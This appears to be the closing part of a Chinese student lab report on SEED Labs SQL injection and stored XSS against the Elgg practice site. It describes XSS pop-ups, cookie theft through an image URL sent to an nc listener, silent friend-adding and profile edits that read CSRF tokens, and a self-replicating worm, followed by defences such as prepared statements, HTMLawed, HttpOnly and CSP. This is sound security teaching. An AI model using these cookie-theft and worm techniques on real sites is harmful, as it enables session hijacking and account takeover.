| 弹窗警告 | Brief description:alert("20253909") |
访问者弹出对话框 |
| 弹窗 Cookie | alert(document.cookie) |
弹出会话 Cookie |
| 窃取 Cookie | 动态 img 外带 + nc -l 1921 -v |
Cookie 被发到攻击者机器 |
| 自动加好友 | About me:Ajax GET /friends/add |
受害者无感知加好友 |
| 篡改资料 | About me:Ajax POST /profile/edit |
受害者资料被改写 |
| XSS 蠕虫 | About me:自复制脚本(id=worm) | 攻击在用户间自动传播 |
| 防御 | 启用 HTMLawed 过滤插件 | 危险标签被清洗,攻击失效 |
三、学习中遇到的问题及解决
问题 1:改完主机名后,每次 sudo 都报 sudo: unable to resolve host 3909ljt。
原因是只改了 /etc/hostname、没同步 /etc/hosts。sudo 在执行前会反查本机主机名对应的 IP,而 /etc/hosts 里 127.0.1.1 那行还写着旧名 VM,查不到 3909ljt,于是报错(功能不受影响,但每次都卡一下、很烦)。解决:编辑 /etc/hosts,把 127.0.1.1 后面的主机名也改成 3909ljt,与 /etc/hostname 保持一致即可。
问题 2:把 <script> 粘进 Elgg 的 "About me",保存后却原样显示成文字,脚本不执行。
因为 About me 是富文本编辑器(可视化模式),会把尖括号转义成 < > 当普通文本存。解决:先点编辑框右上角的 Edit HTML 切到 HTML 源码模式,再粘脚本,这样才会被当成真正的 HTML 存进去。短脚本也可以放在本身就是纯文本的 "Brief description" 框里。
问题 3:加好友/改资料脚本里参数用 & 连接,但编辑器里有时显示成 &,担心请求拼错。
Elgg 的 HTML 编辑器会把 & 实体化显示为 &。要确认实际发出的请求里是 &,最稳妥的办法是用开发者工具(F12)的 Network 面板抓包核对——本次实测加好友请求确实是 friend=45&__elgg_ts=…&__elgg_token=…,参数分隔是正常的 &,攻击生效。
问题 4:脚本里的 friend / aliceGuid 该填多少?
friend= 后面是要操作的目标用户的 guid,aliceGuid 是攻击者(Alice)自己的 guid,用来在篡改/蠕虫脚本里做 if 判断、避免把攻击者本人也"误伤"。这些 guid 不能凭空猜,要在开发者工具抓到的请求里看 friend=NN,或者从个人主页 URL / 页面源码里确认。本机实测 Alice 的 guid 是 45。
问题 5:cookie 窃取脚本写好了,nc 却收不到。
两个坑:一是 nc 监听的端口要和脚本里 <img> URL 的端口完全一致(都用 1921);二是顺序——要先在终端 nc -l 1921 -v 把监听开起来,再去浏览器触发脚本,否则请求发出来时没人接。
问题 6:把源码文件改名加学号后,登录/保存页面 404。
因为表单的 action 还指向旧文件名。解决:改名的同时用 sed 把 index.html、unsafe_edit_frontend.php 里引用旧文件名的 action 一并替换成新名(带 3909 前缀),引用和文件名对上就正常了。
问题 7:编辑器快捷键。 nano 用 Ctrl+O 写盘、Ctrl+X 退出;vim 用 ESC 回到命令模式后输入 :wq 保存退出(只看不改用 :q! 强制退出)。
问题 8:开机弹 "VBoxClient: the VirtualBox kernel service is not running"。 这是 SEED 镜像里残留的 VirtualBox 增强工具在 VMware 下报的,与本次实验无关,忽略即可(装上 VMware Tools 后体验更好)。
四、扩展讨论:注入与 XSS 的本质,以及防御的统一思路
把 SQL 注入和 XSS 放在一次作业里做,最大的收获是看清了它们其实是同一个毛病的两种表现:数据被当成了代码来执行。 SQL 注入是"用户输入"被数据库当成 SQL 语句执行(admin'# 改写了查询逻辑);XSS 是"用户输入"被浏览器当成 HTML/JavaScript 执行(<script> 在别人页面里跑了起来)。根子都在于程序信任了本不该信任的输入,并且没把"数据"和"代码"的边界划清楚。
防御也因此有统一的思路:不要试图在"输入"端枚举所有坏东西(黑名单注定漏),而要在"使用/输出"端,从机制上保证数据永远只是数据。
对 SQL 注入,最有效的就是本次任务四用的预编译语句 + 参数绑定:SQL 模板先编译定型,用户输入只能填进 ? 占位符当数据,无论里面有多少单引号、#、; 都不会改变语句结构。它比"转义特殊字符"更彻底,也比"过滤关键字"更可靠。
对 XSS,对应的根本手段是输出编码(HTML 实体编码)+ 上下文相关转义:把要回显的用户内容里的 < > " & 转成实体,浏览器就只会把它当文字显示、不会当标签执行;对必须允许富文本的场景(如本次的 Elgg 资料),则用白名单过滤库(任务七的 HTMLawed 正是这种)。此外还有几道纵深防线:用 CSP(内容安全策略) 限制页面能执行哪些脚本来源;给会话 Cookie 加 HttpOnly 属性,让 JS 读不到 document.cookie——这一条能直接削弱任务三的 Cookie 窃取。
还有一点特别值得记:CSRF 令牌防不住 XSS。 Elgg 的 __elgg_ts / __elgg_token 本来是用来防跨站请求伪造的,但任务四、五、六之所以照样能加好友、改资料,是因为存储型 XSS 让攻击脚本运行在受害者自己的、同源的页面上下文里——脚本能直接通过 elgg.security.token 读到这两个令牌,CSRF 防护形同虚设。这说明防护是有"前置依赖"的:只有先把 XSS 防住,CSRF 令牌才真正有意义。
最后回到任务三的 UPDATE 注入:一个本该只能改昵称的普通员工,居然能改自己的薪水。这除了是注入问题,也是权限设计问题——后端应当做字段级的最小权限控制(普通员工无权写 salary),而不是只靠前端界面"不显示"那个字段。安全要做在服务端,前端的隐藏只是体验、不是防线。
五、实践总结
这次实践把一条完整的 Web 攻防链路走通了:从摸清数据库结构,到不用密码登进系统(SELECT 注入)、改写敏感数据(UPDATE 注入),再到 XSS 的弹窗、偷 Cookie、无感知加好友/改资料,最后写出一只会自我复制传播的 XSS 蠕虫,并分别用预编译语句和 HTMLawed 把两类洞补上。
印象最深的是XSS 蠕虫。在此之前我对 XSS 的认知停留在"弹个窗",觉得危害有限;可当那几行 JavaScript 加上"读取自身、写进别人资料"的自我复制逻辑后,破坏力一下子从"骚扰一个人"变成了"在用户网络里指数级扩散"——这才真切体会到当年 Samy worm 为什么能在一天内传遍上百万账号。攻击的威力,往往不在单个技巧多高级,而在于自动化和可传播性。
另一个体会是关于防御的哲学。一开始我以为防御就是"见招拆招",把每种攻击姿势都过滤掉;做完才明白,靠黑名单去堵永远堵不完,真正可靠的是从设计上消除"数据变成代码"的可能——SQL 用参数化、HTML 用编码/白名单、Cookie 用 HttpOnly、再叠加 CSP 和最小权限。这是一种"机制上正确"而非"经验上补漏"的思路。
同时,用攻击者的视角去理解防御是非常高效的学习方式。亲手把 Samy 的薪水改成自己的学号、亲眼看着 nc 收到外带的 Cookie,比单纯背"要做参数化、要做输出编码"印象深刻得多——因为我清楚地知道,不这么做的话,攻击具体是怎么打进来的。
附录:本文术语速查表
| 术语 | 一句话解释 |
|---|---|
| SQL 注入(SQLi) | 把恶意片段拼进 SQL,让数据库执行计划外的逻辑 |
| 预编译语句 / 参数化查询 | 先编译带 ? 的 SQL 模板,用户输入只当数据填入,从根上防注入 |
bind_param("ss", …) |
mysqli 绑定参数,s 表示 string,个数与 ? 一一对应 |
MySQL 注释符 # |
注释掉本行后续内容,注入里用它"砍掉"密码校验等 |
| 存储型 XSS | 恶意脚本被存进服务器,他人访问页面时在其浏览器中执行 |
| 反射型 / DOM 型 XSS | 脚本来自当前请求参数 / 由前端 JS 写入 DOM 触发 |
| Elgg | 本次 XSS 靶场所用的开源社交网站程序 |
| Cookie | 浏览器保存的会话凭证;document.cookie 可被 JS 读取 |
| HttpOnly | Cookie 属性,置位后 JS 无法读取该 Cookie,可缓解 Cookie 窃取 |
| 同源策略 | 浏览器限制跨源读取的安全机制;XSS 在同源内运行故能绕过 |
| CSRF | 跨站请求伪造:借受害者已登录的身份发出非自愿的请求 |
__elgg_ts / __elgg_token |
Elgg 的防 CSRF 时间戳与令牌;XSS 场景下可被脚本直接读到 |
| XMLHttpRequest / Ajax | JS 在后台发 HTTP 请求的接口,攻击脚本用它静默提交表单 |
| CSP | 内容安全策略,限制页面可加载/执行的脚本来源 |
| HTMLawed | Elgg 的 HTML 白名单过滤插件,启用后清洗危险标签 |
| XSS 蠕虫 | 能把自身复制到受害者内容里、从而自动传播的 XSS |
escape / encodeURIComponent |
JS 的 URL 编码函数,把 Cookie / 脚本编码后放进 URL 或表单 |
参考资料
- 诸葛建伟. 《网络攻防技术与实践》. 电子工业出版社.
- SEED Labs — SQL Injection Attack Lab(Wenliang Du, Syracuse University). https://seedsecuritylabs.org/
- SEED Labs — Cross-Site Scripting (XSS) Attack Lab(Elgg). https://seedsecuritylabs.org/
- OWASP — SQL Injection 与 SQL Injection Prevention Cheat Sheet. https://owasp.org/
- OWASP — Cross Site Scripting (XSS) 与 XSS Prevention Cheat Sheet. https://owasp.org/
- PHP 官方文档 — mysqli 预编译语句(prepared statements)与
bind_param. https://www.php.net/ - Elgg 文档与 HTMLawed 插件说明;MySQL 官方文档(注释语法、字符串处理).
